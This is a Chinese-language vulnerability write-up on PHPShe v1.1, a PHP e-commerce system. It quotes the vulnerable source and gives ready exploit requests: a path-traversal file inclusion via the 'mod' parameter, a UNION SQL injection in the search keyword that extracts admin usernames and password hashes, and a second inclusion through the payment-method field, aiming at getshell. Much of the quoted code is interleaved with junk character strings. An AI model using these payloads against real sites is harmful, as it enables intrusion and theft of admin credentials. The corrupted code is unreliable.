phpshe v1.1多处SQL注入和文件包含漏洞Getshell

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/*******************************************************/
# a1 ?+ V; o/ K& L/* Phpshe v1.1 Vulnerability
/* ========================
$ c. h# G- U) j3 G/* By: : Kn1f3
/* E-Mail : 681796@qq.com
/*******************************************************/
( i4 r7 t4 r  X3 y7 z' G0×00 整体大概参数传输
$ |7 y( m+ q) ]
9 X' E/ ?3 p) h, L9 D7 q2 q  L

$ a) h4 N4 [; I//common.php
if (get_magic_quotes_gpc()) {
+ {( S4 x  I- p1 L$ p!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
0 ]6 E+ [6 ~: A& `$ B7 D!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
1 S8 S" Z, J) v7 N& s* i4 P- a' h" Zelse {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
8 {- ^& a, J4 @  c!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
; G& t& g8 g* |5 }, s2 A7 h* _, q}
session_start();
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
; @& f; y# U3 \7 \
3 ]! K8 L" U2 `8 q3 s# ^0×01 包含漏洞

( j+ x( N$ `! ]: R/ Q1 v
//首页文件
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
" J: J; R0 p6 }# C5 finclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
( t8 }* A, c/ o& t?>
1 e7 Y+ p% Y8 H7 D. p4 c//common 文件 第15行开始
+ j0 w4 D  I& Y6 Y- i1 W/ F1 Qurl路由配置
8 i5 M: d. O( U7 c0 {$module = $mod = $act = 'index';
# H7 h- \/ z9 r$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
6 j& Z& h' f# S2 Q6 R$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
; N) k8 n1 G9 A. w; t' c8 _4 m2 J$ Y//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

# H8 G* O: S& t4 D- U3 g1 j: x7 M
0×02 搜索注入

# {7 Q) d; j4 z) z! n* V. H<code id="code2">

//product.php文件
case 'list':
$category_id = intval($id);
2 x& n! a( G4 o* B; `5 d! ~6 D$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索
$sqlwhere = " and `product_state` = 1";
5 L1 z1 X# ^4 ^% e! [. Cpe_lead('hook/category.hook.php');
if ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
: q+ r1 g) q! g* o5 |9 ~}
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
8 \# ]; k- K0 G3 H# ]  rif ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
; L% D( a4 O1 {( h! |8 a$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
: k+ J, j9 f% _6 e7 g; D+ W}
else {
$sqlwhere .= " order by `product_id` desc";
# V6 o4 h6 b, t6 g5 y0 G}
) R7 v. W1 S- ~2 x7 }4 [, {+ I$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
$product_hotlist = product_hotlist();
# I7 `* P9 O$ |/ o//当前路径
$nowpath = category_path($category_id);
* N/ }1 }3 c3 T( N$seo = pe_seo($info['category_name']);
8 x! @/ d: M; S1 a: ^/ sinclude(pe_tpl('product_list.html'));
//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
! d0 M1 Q! I' G  ], K{
//处理条件语句
$sqlwhere = $this->_dowhere($where);
9 q" |. _! x0 E7 w% hreturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
# Y! V8 u" N$ m2 D) U! ~+ w; }//exp
* ^# v8 i9 T5 c; Q8 Hproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1

</code>

/ a, q, ?( P& I0 R" _+ f0×03 包含漏洞2

" M6 p# t; k) S9 Y& }" S" [. |<code id="code3">

//order.php

case 'pay':

! f6 |; J3 }8 R9 ^7 M$order_id = pe_dbhold($_g_id);

$cache_payway = cache::get('payway');

foreach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

if ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

% a9 a! V! O- m! n: P. m}

}

% b% V$ F( |; M- p! s) n# h0 A$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

: v; r0 t# f' u$ P* Wif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

4 E$ a( B. v8 ^8 U& W& I0 B1 |3 dforeach ($info_list as $v) {

* F  j: c1 N. R4 [$order['order_name'] .= "{$v['product_name']};";

}

% C7 ?- M$ `8 O; \+ x" Yecho '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

}//当一切准备好的时候就可以进行"鸡肋包含了"

; c" D+ U* J! b* S5 Kelse {

2 v9 y  K* ~$ y( C: T4 Q9 vpe_error('支付错误...');

}

}

& r5 n. q* W3 |# B7 z3 L5 u5 F$seo = pe_seo('选择支付方式');

/ I( m6 T( O% C4 E& M" cinclude(pe_tpl('order_pay.html'));

8 P' D7 h4 k( Y: I( K9 U8 ?7 Abreak;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>